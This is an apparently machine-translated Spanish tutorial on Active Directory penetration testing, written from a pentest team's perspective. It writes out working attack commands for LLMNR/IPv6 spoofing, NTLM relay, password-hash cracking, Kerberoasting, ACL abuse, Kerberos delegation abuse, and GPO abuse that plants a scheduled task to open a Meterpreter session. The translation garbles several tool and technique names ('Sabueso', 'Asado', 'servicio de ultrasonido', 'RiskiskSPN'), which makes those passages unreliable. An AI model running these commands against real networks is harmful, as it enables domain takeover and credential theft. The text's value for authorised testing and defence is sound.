
Al realizar pruebas de penetración, a menudo detectamos errores en la configuración del dominio. Aunque esto no parece crítico para muchos, en realidad, tales imprecisiones pueden comprometer todo el dominio.
Por ejemplo, de acuerdo con los resultados del pentest en una compañía, llegamos a la conclusión de que todas las máquinas disponibles en el dominio no eran inferiores a Windows10 / Windows Server2016, y tenían todos los parches más recientes. La red se escaneaba regularmente, las máquinas eran difíciles. Todos los usuarios se sentaron a través de tokens y no sabían sus "contraseñas de 20 caracteres". Todo parece estar bien, pero IPv6 no se ha deshabilitado. El esquema de captura de dominio se veía así:
mitm6 -> ntlmrelay -> ataque mediante delegación -> se recibe el hash de la contraseña del administrador local -> se recibe el hash de la contraseña del administrador del dominio.
Desafortunadamente, las certificaciones populares como OSCP, GPEN o CEH no enseñan las pruebas de penetración de Active Directory.
En este artículo, veremos varios tipos de ataques de Active Directory que llevamos a cabo como parte de pentests, así como las herramientas utilizadas. Esto de ninguna manera puede considerarse una guía completa para todo tipo de ataques y herramientas, realmente hay muchos de ellos, y es difícil encajar en un artículo.
Por lo tanto, para demostración, utilizamos una computadora portátil en Kali Linux 2019 y los hosts virtuales generados en VMware. Imagine que el objetivo principal del pentest es obtener derechos de administrador de dominio y, como entrada, tenemos acceso a la red corporativa de la empresa a través de Ethernet. Para comenzar a probar el dominio, necesitamos una cuenta.
Obtener una cuenta
Considere los dos métodos más comunes, en mi opinión, para obtener el nombre de usuario y la contraseña de la cuenta de dominio: falsificación de LLMNR / NBNS y ataque al protocolo IPv6.
Falsificación de LLMNR / NBNS
Se ha dicho mucho sobre este ataque. La conclusión es que el cliente envía LLMNR de multidifusión y transmite solicitudes NBT-NS para resolver nombres de host si falla el DNS. Cualquier usuario de la red puede responder a tales solicitudes.
Herramientas que permiten un ataque:
- Respuesta
- Inveight
- Módulos Metasploit: auxiliar / parodia / llmnr / llmnr_response, auxiliar / parodia / nbns / nbns_response,
auxiliar / servidor / captura / smb, auxiliar / servidor / captura / http_ntlm
Con un ataque exitoso, podemos obtener el hash NetNTLM de la contraseña del usuario.
Responder -I eth0 -wrf

El hash resultante, podemos depurar o ejecutar retransmisores NTLM.
Ataque IPv6
Si se usa IPv6 en la red corporativa, podemos responder a las solicitudes de DHCPv6 y establecer nuestra dirección IP como el servidor DNS en la máquina atacada. Como IPv6 tiene prioridad sobre IPv4, las consultas DNS del cliente se enviarán a nuestra dirección. Lea más sobre el ataque
aquí .
Herramientas:
Ejecutando la utilidad mitm6
mitm6 -i vmnet0
Después de que se complete el ataque, aparecerá un nuevo servidor DNS con nuestra dirección IPv6 en la estación de trabajo atacada.

Las máquinas atacadas intentarán autenticarse con nuestra máquina. Después de haber elevado el servidor SMB usando la utilidad
smbserver.py , podemos obtener hashes de contraseña de usuario.
smbserver.py -smb2support SMB /root/SMB

Acciones de hash capturadas
El siguiente paso, podemos realizar un ataque criptográfico en los hash de contraseña y obtener la contraseña en forma clara, o realizar un relevo NTLM.
Contraseña fuerza bruta
Es simple: toma una contraseña hash, hashcat
hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt
y brutus. La contraseña se puede obtener o no :)
Se ha recuperado la contraseña de usuario de Harvey - Pbvf2019NTLM Relay
También podemos ejecutar relés NTLM. Después de asegurarnos de que
SMB Signing no se usa
, usamos la utilidad
ntlmrelayx.py y
realizamos un ataque. Aquí nuevamente, dependiendo del objetivo, seleccionamos el vector que necesitamos. Consideremos algunos de ellos.
Acceso a la máquina atacada a través del protocolo SMB
Realizar un ataque con la tecla
i .
ntlmrelayx.py -t 192.168.1.5 -l loot -i

Con un ataque exitoso, podemos conectarnos a la máquina remota usando netcat.

Recolección de información de dominio
En este caso, realizamos la retransmisión al controlador de dominio.
ntlmrelayx.py -t ldap://192.168.1.2
Si el ataque tiene éxito, obtendremos información detallada sobre el dominio:

Agregar una nueva computadora al dominio
Cada usuario por defecto tiene la capacidad de crear hasta 10 computadoras en el dominio. Para crear una computadora, debe ejecutar un relé en un controlador de dominio utilizando el protocolo ldaps. Está prohibido crear usuarios y computadoras a través de una conexión ldap sin cifrar. Además, no se puede crear una cuenta si se intercepta la conexión a través de SMB.
ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer

Como puede ver en la figura, pudimos crear una computadora RORYOTGS $.
Al crear más de 10 computadoras, obtenemos un error de la siguiente forma:

Usando las credenciales de una computadora RORYOTGS $, podemos realizar solicitudes legítimas a un controlador de dominio.
Recolección de información de dominio
Entonces, tenemos un usuario de dominio o una cuenta de computadora. Para continuar con las pruebas, necesitamos recopilar información disponible para una mayor planificación de ataques. Considere algunas de las herramientas que nos ayudarán a determinar la búsqueda de los sistemas más críticos, planificar y ejecutar un ataque.
Sabueso
Una de las herramientas más importantes que se utiliza en casi todas las pruebas de penetración interna. El proyecto se desarrolla activamente y se complementa con nuevas características.
Información recopilada por sabueso- Grupo: realiza la recopilación de miembros del grupo
- LocalAdmin: realiza una recopilación de administrador local
- RDP: realiza la colección de usuarios de escritorio remoto
- DCOM: realiza la colección de usuarios COM distribuidos
- GPOLocalGroup: realiza una recopilación de administración local mediante objetos de directiva de grupo
- Sesión: realiza la recopilación de sesiones
- ComputerOnly: realiza la administración local, RDP, DCOM y la recopilación de sesiones
- LoggedOn: realiza una recopilación de sesiones privilegiadas (requiere derechos de administrador en los sistemas de destino)
- Fideicomisos: realiza la enumeración de confianza de dominio
- ACL: realiza la colección de ACL
- Contenedor: realiza la recolección de contenedores;
- DcOnly: realiza la recopilación solo con LDAP. Incluye Group, Trusts, ACL, ObjectProps, Container y GPOLocalGroup
- Todos: realiza todos los métodos de recopilación excepto GPOLocalGroup y LoggedOn
- Buscar bosque: busca todos los dominios del bosque en lugar de solo el actual
- Dominio: busca un dominio en particular. Utiliza su dominio actual si es nulo (Predeterminado: nulo)
- Stealth: realiza métodos de recolección de sigilo. Todas las opciones de sigilo son de un solo hilo
- SkipGCDeconfliction: omita la desconflicción del catálogo global durante la enumeración de la sesión. Esto puede acelerar la enumeración, pero dará lugar a posibles imprecisiones en los datos.
- ExcludeDc: excluye los controladores de dominio de la enumeración (evita los indicadores de Microsoft ATA)
- ComputerFile: especifique un archivo para cargar nombres de computadora / IP desde
- OU: especifique qué OU enumerar
Los recopiladores de información son
SharpHound.exe (requiere .NET instalado v3.5) y el script
SharpHound.ps1 escrito en powershell. También hay un compilador escrito por un desarrollador
externo de Python,
Bloodhound-python .
Como base de datos,
se utiliza
Neo4j , que tiene su propia sintaxis, que le permite realizar consultas personalizadas. Puede leer más sobre la sintaxis
aquí .
Fuera de la caja 12 solicitudes están disponibles- Encuentra todos los administradores de dominio
- Encuentre las rutas más cortas para los administradores de dominio
- Encuentre directores con derechos DCSync
- Usuarios con membresía de grupo de dominio extranjero
- Grupos con membresía de grupo de dominio extranjero
- Asignar confianzas de dominio
- Caminos más cortos hacia sistemas de delegación sin restricciones
- Los caminos más cortos de los usuarios de Kerberoastable
- Las rutas más cortas a los administradores de dominio de los usuarios de Kerberoastable
- El camino más corto de los directores propios
- Rutas más cortas para administradores de dominio de directores propios
- Caminos más cortos hacia objetivos de alto valor
Los desarrolladores también proporcionan el script
DBCreator.py , que le permite generar una base de datos aleatoria para realizar pruebas.

Neo4j tiene una API REST. Hay varias utilidades que pueden conectarse a la base de datos y usar los datos recibidos:
Consideremos algunos de ellos.
Cypherdog
CypherDog es un shell BloodHound escrito en powershell. Incluye 27 cmdlets.
Por defecto, se requiere autenticación para acceder a la base de datos neo4j. Puede deshabilitar la autenticación editando el archivo neo4j.conf. Necesita descomentar la línea
dbms.security.auth_enabled = false. Pero esto no se recomienda, ya que cualquier usuario puede conectarse a la base de datos en 127.0.0.1:7474 (la configuración predeterminada). Puede leer más sobre autenticación y autorización en neo4j
aquí.Gofetch
GoFetch utiliza un gráfico creado en sabueso para planificar y ejecutar un ataque.
Ejemplo de gráfico de sabueso Lanzamiento de ataque
.\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json
generador-gt
gt-generator , utilizando datos de BloodHound, facilita la creación de tickets dorados. Para recibir un ticket dorado, solo se requiere el hash de nombre de usuario y contraseña del usuario KRBTGT.
python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH>

Powerview
PowerView es un marco de Powershell incluido con
PowerSploit . La siguiente es una lista de algunos cmdlets que pueden ayudarlo a recopilar información sobre un dominio.
Adidnsdump
Al usar DNS integrado en Active Directory, cualquier usuario de dominio puede consultar todos los registros DNS predeterminados.
Herramienta utilizada:
Adidnsdump.
Ataques de dominio
Ahora que tenemos la información del dominio, pasamos a la siguiente fase de las pruebas de penetración, directamente al ataque. Considere 4 vectores potenciales:
- Asado
- Ataque a través de ACL
- Delegación Kerberos
- Abusar de los permisos de GPO
Asado
Este tipo de ataque apunta al protocolo Kerberos. Hay 2 tipos de ataque como el asado:
Kerberoast
El ataque fue demostrado por primera vez por el usuario
timmedin en
DerbyCon en 2014 (
video ). Con un ataque exitoso, podremos resolver la contraseña del servicio de ultrasonido en modo fuera de línea, sin temor a bloquear al usuario. Muy a menudo, las cuentas de servicio tienen derechos excesivos y una contraseña perpetua, lo que puede permitirnos obtener derechos de administrador de dominio.
Para comprender la esencia del ataque, considere cómo funciona Kerberos.

1. La contraseña se convierte en un hash NTLM, la marca de tiempo se cifra con un hash y se envía a KDC como un autenticador en la solicitud de ticket TGT (AS-REQ). El controlador de dominio (KDC) verifica la información del usuario y crea un ticket TGT.
2. El ticket TGT se cifra, firma y envía al usuario (AS-REP). Solo el servicio Kerberos (KRBTGT) puede abrir y leer datos de un ticket TGT.
3. El usuario envía el ticket TGT al controlador de dominio a pedido del ticket TGS (TGS-REQ). El controlador de dominio abre un ticket TGT y verifica la suma de control PAC.
4. El ticket TGS se cifra con el hash NTLM de la contraseña de la cuenta de servicio y se envía al usuario (TGS-REP).
5. El usuario proporciona un ticket TGS a la computadora en la que se ejecuta el servicio (AP-REQ). El servicio abre un ticket TGS utilizando su hash NTLM.
6. Se proporciona acceso al servicio (AS-REP).
Después de recibir un ticket TGS (TGS-REP), podemos encontrar la contraseña de la cuenta de servicio sin conexión. Por ejemplo, usando hashcat.
Según
RFC396 , 20 tipos de cifrado están reservados para el protocolo Kerberos. Los tipos de cifrado que se usan ahora, en orden de prioridad:
- AES256_CTS_HMAC_SHA1
- AES128_CTS_HMAC_SHA1
- RC4_HMAC_MD5
En versiones recientes de Windows, el cifrado AES se usa de manera predeterminada. Pero para la compatibilidad con sistemas por debajo de Windows Vista y Windows 2008, se requiere soporte para el algoritmo RC4. Cuando se realiza un ataque, siempre se intenta primero obtener un ticket TGS con el cifrado RC4_HMAC_MD5, que permite ordenar las contraseñas más rápidas, y luego con el resto.
Harmj0y realizó un
estudio interesante y descubrió que si especifica solo el soporte de cifrado Kerberos AES128 y AES256 en las propiedades del usuario, el ticket Kerberos todavía se emite con cifrado RC4_HMAC_MD5.

Deshabilitar RC4_HMAC_MD5 es necesario a nivel de
dominio.El ataque de Kerberoasting tiene 2 enfoques.
1. El viejo método. Los tickets TGS se solicitan a través de setspn.exe o .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken de la clase Powershell, recuperados de la memoria utilizando mimikatz, luego convertidos al formato deseado (John, Hashcat) y ordenados.
2. El nuevo método.
machosec notó que la clase
KerberosRequestorSecurityToken tiene un método
GetRequest , que extrae la parte encriptada con una contraseña de un ticket TGS.
Herramientas para realizar un ataque:
1) Buscar registros SPN
2) Solicite un boleto de TGS
Puede ver los tickets en caché actuales con el comando klist.
Registros comunes de SPN- TERMSRV - Escritorio remoto
- SmtpSVC y SMTP - Correo
- WSMAN - WinRM
- ExchangeAB, ExchangeRFR, ExchangeMDM - MS Exchange
- POP / POP3 - Servicio postal POP3
- IMAP / IMAP4 - Servicio de correo electrónico IMAP
- MSSQLSvc - Microsoft SQL Server
- MONGO - Servidor de base de datos MongoDB
- DNS: servidor DNS
- HTTP, WWW - Servidor web
- LDAP - LDAP
- FTP - Servidor FTP
3) Exportación de boletos:
Un ejemplo de ejecución automatizada de los 3 puntos:
- RiskiskSPN
Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt
- Powersploit
Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl
- GetUserSPNs.py
GetUserSPNs.py -request jet.lab\user:Password
Asreproast
La vulnerabilidad es que la autenticación previa de Kerberos está deshabilitada. En este caso, podemos enviar solicitudes AS-REQ a un usuario que tenga desactivada la autenticación previa de Kerberos y obtener la parte encriptada con una contraseña.

La vulnerabilidad es rara, ya que deshabilitar la autenticación previa no es la configuración predeterminada.
Búsqueda de usuarios con autenticación Kerberos deshabilitada:
- Powerview
Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose
- Módulo de Active Directory
get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name
Obteniendo la parte encriptada:
Ataque a través de ACL
Una ACL en un contexto de dominio es un conjunto de reglas que definen los derechos de acceso de los objetos en AD. Se puede configurar una ACL para un solo objeto (por ejemplo, una cuenta de usuario) o para una unidad organizativa, por ejemplo, OU. Cuando configura la ACL en la OU, todos los objetos dentro de la OU heredarán la ACL. Las ACL contienen entradas de control de acceso (ACE) que determinan cómo interactúa el SID con el objeto de Active Directory.
Por ejemplo, tenemos tres grupos: A, B, C, donde el grupo C es miembro del grupo B y el grupo B es miembro del grupo A. Cuando agrega un invitado al grupo C, el invitado no solo será miembro del grupo C, sino también un miembro indirecto de los grupos B y A. Al agregar acceso a un objeto de dominio al grupo A, el usuario invitado también tendrá acceso a este objeto. En una situación en la que el usuario es miembro directo de un solo grupo, y este grupo es miembro indirecto de los otros 50 grupos, es fácil perder la conexión de los permisos heredados.
Puede obtener las ACL asociadas con un objeto ejecutando el siguiente comando
Get-ObjectACL -Samaccountname Guest -ResolveGUIDs
Puede usar la herramienta para explotar errores en la configuración de ACL.
Invoke-ACLPwn . El script de Powershell recopila información sobre todas las ACL en el dominio utilizando el recopilador BloodHound, SharpHound, y crea una cadena para obtener el permiso writeDACL. Después de construir la cadena, el script opera cada paso de la cadena. El orden del guión:
- El usuario se agrega a los grupos necesarios.
- Se agregan dos ACE (Replicar cambios de directorio y Replicar cambios de directorio ALL) a las ACL del objeto de dominio.
- Si tiene derechos para DCSync utilizando la utilidad Mimikatz, se solicita el hash de contraseña del usuario krbtgt (configuración predeterminada).
- Una vez completada la operación, el script elimina todos los grupos agregados y las entradas ACE en la ACL.
El script está dirigido solo a usar permisos writeDACL. Los siguientes derechos de acceso también pueden ser de interés para un atacante:
- ForceChangePassword. Derechos para cambiar la contraseña del usuario cuando no se conoce la contraseña actual. Operación con PowerSploit - Set-DomainUserPassword.
- AddMembers. Derechos para agregar grupos, computadoras y usuarios a grupos. Operación con PowerSploit - Add-DomainGroupMember.
- GenericWrite Derechos para cambiar los atributos de un objeto. Por ejemplo, cambie el valor del parámetro scriptPath. La próxima vez que el usuario inicie sesión en el sistema, se iniciará el archivo especificado. Operación con PowerSploit - Set-DomainObject.
- WriteOwner. Derechos para cambiar el propietario del objeto. Operación con PowerSploit - Set-DomainObjectOwner.
- AllExtendedRights. Derechos para agregar usuarios a grupos, cambiar contraseñas de usuarios, etc. Operación con PowerSploit - Set-DomainUserPassword o Add-DomainGroupMember.
Operación
Comenzando desde una máquina que está en un dominio
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe
Comenzando desde una máquina que no está en un dominio
/Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'domain\user' -Domain 'fqdn_of_target_domain' -Password 'Pass'
- aclpwn.py es una herramienta similar escrita en Python
Delegación Kerberos
La delegación de autoridad de Kerberos le permite reutilizar las credenciales de usuario final para acceder a los recursos alojados en otro servidor.
La delegación de Kerberos puede ser de tres tipos:
- Ilimitado (delegación sin restricciones). La única opción de delegación antes de Windows Server 2003
- Delegación restringida desde Windows Server 2003
- Delegación restringida basada en recursos Introducido en Windows Server 2012
Delegación ilimitada
En el complemento de Active Directory, la función de delegación ilimitada habilitada es la siguiente:

Para mayor claridad, considere cómo se produce una delegación ilimitada en un diagrama.

- La contraseña del usuario se convierte a ntlm hash. La marca de tiempo se cifra con este hash y se envía al controlador de dominio para solicitar un ticket TGT.
- El controlador de dominio verifica la información sobre el usuario (restricción de inicio de sesión, membresía en grupos, etc.), crea un ticket TGT y lo envía al usuario. El ticket TGT está encriptado, firmado y solo krbtgt puede leer sus datos.
- El usuario solicita un ticket TGS para acceder al servicio web en el servidor web.
- El controlador de dominio proporciona un ticket TGS.
- El usuario envía tickets TGT y TGS al servidor web.
- La cuenta de servicio del servidor web utiliza el ticket TGT del usuario para solicitar un ticket TGS para acceder al servidor de la base de datos.
- La cuenta de servicio se conecta al servidor de la base de datos como usuario.
El principal peligro de la delegación ilimitada es que cuando una máquina con delegación ilimitada se ve comprometida, un atacante podrá obtener tickets TGT de los usuarios de esta máquina y acceder a cualquier sistema en el dominio en nombre de estos usuarios.
Busque máquinas en un dominio con delegación ilimitada:
Exportación de entradas:

Delegación limitada
El modo de delegación limitada le permite acceder solo a los servicios permitidos y en una máquina específica. En el complemento de Active Directory, se ve así:

Con delegación limitada, se utilizan 2 extensiones de protocolo Kerberos:
S4U2Self se usa cuando el cliente no se autentica usando el protocolo Kerberos.
Para una delegación ilimitada, TGT se utiliza para identificar al usuario, en cuyo caso la extensión S4U usa la estructura
PA-FOR-USER como el nuevo tipo en el campo de datos de padata / pre-autenticación. El proceso S4U2self solo se permite si el usuario solicitante tiene el campo TRUSTED_TO_AUTH_FOR_DELEGATION establecido en su userAccountControl.
S4U2Proxy permite que la cuenta de servicio use el ticket de redireccionamiento recibido en el proceso S4U2proxy para solicitar un ticket TGS para acceder a los servicios permitidos (msds-allowtodelegateto). KDC verifica si el servicio solicitado se especifica en el campo msds-allowtodelegateto del usuario solicitante y emite un ticket si la verificación es exitosa. Por lo tanto, la delegación está "limitada" a servicios específicos de destino.
Puede buscar computadoras y usuarios en un dominio de delegación limitado usando PowerView .Busque computadoras con delegación ilimitada Get-DomainComputer -TrustedtoAuth
Buscar usuarios de delegación limitada Get-DomainUser -TrustedtoAuth
Para realizar un ataque, necesitamos una contraseña clara, un hash de contraseña NTLM o un ticket TGT.
Delegación limitada basada en recursos
Al igual que con la delegación regular, se utilizan extensiones S4U. Dado que la delegación basada en recursos es principalmente una delegación limitada, los ataques que son relevantes para la delegación limitada regular también están disponibles aquí. La única diferencia es que en una delegación limitada simple, el servicio A debería tener el atributo msDS-allowedToDelegateTo = ServiceB, y aquí el servicio B debería tener el atributo msDS-enabledToActOnBehalfOfOtherIdentity = Service A.
Esta propiedad permite un ataque más publicado por harmj0y. Un ataque requiere permisos para modificar el parámetro PrincipalsAllowedToDelegateToAccount, que establece el atributo msds-AllowToActOnBehalfOfOtherIdentity, que contiene una lista de control de acceso (ACL). A diferencia de la delegación limitada, no necesitamos derechos de administrador de dominio para cambiar el atributo msds-allowedToActOnBehalfOfOtherIdentity. Puede averiguar quién tiene permiso para editar el atributo de la siguiente manera: (Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview
Entonces, para llevar a cabo el ataque, ejecute mitm6 mitm6 -I vmnet0
Comenzamos ntlmrelayx con la opción --delegate-access ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access
Como resultado del ataque, se crea una computadora ZGXTPVYX $ con derechos de delegación a la computadora con Windows 7. $x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity $x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access
Yegor Podmokov presentó un buen informe de delegación en PHDays.
Abusar de los permisos de GPO
Group Policy Objects es una herramienta que permite a los administradores administrar eficientemente un dominio. Pero sucede que a los usuarios se les asignan derechos innecesarios, incluido el cambio de políticas de GPO.Para demostrar el ejemplo, agregaremos al usuario de Ragnar los derechos para editar la Política de controladores de dominio predeterminados (en la vida real, los derechos de esta política se otorgan solo a los administradores de dominio, pero la esencia del ataque no cambia; en el caso de otra política, solo cambian los hosts controlados).
Enumere los derechos de todos los GPO en el dominio con PowerView . Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
Un usuario de Ragnar tiene derecho a cambiar un GPO que tenga un GUID de 6AC1786C-016F-11D2-945F-00C04FB984F9. Para determinar qué hosts en el dominio aplican esta política, ejecute el siguiente comando Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_}
Tengo el host dc1.jet.lab.Conociendo la política específica que el usuario de Ragnar puede editar y los hosts a los que se aplica esta política, podemos realizar varias acciones en el host dc1.jet.lab.A continuación se encuentran las opciones para usar el GPO Las herramientas New-GPOImmediateTask y SharpGPOAbuse le permiten:- Ejecutar tarea en el planificador de tareas
- Agregar derechos de usuario (SeDebugPrivilege, SeTakeOwnershipPrivilege, etc.)
- Agregar una secuencia de comandos que se ejecuta después del inicio
- Agregar usuario al grupo local
Por ejemplo, agregue una tarea en el programador de tareas para obtener una sesión de Meterpreter: New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force
Después de la ejecución, la tarea programada aparece prueba
y aparece la sesión de Meterpreter.
Para eliminar una tarea programada, debe ejecutar el siguiente comando: New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy
Conclusiones
En el artículo examinamos solo algunos vectores de ataque. Las vistas como Enumerate Accounts y Password spray , MS14-068 , un montón de errores de impresora y delegación sin restricciones, ataques a Exchange ( Ruler , PrivExchange , ExchangeRelayX ) pueden ampliar significativamente el alcance del ataque.Las técnicas de ataque y los métodos de fijación (Boleto de oro, Boleto de plata, Pase-El-Hash, Over pass the hash, SID History, DC Shadow, etc.) cambian constantemente, y el equipo de defensa siempre debe estar listo para nuevos tipos de ataques.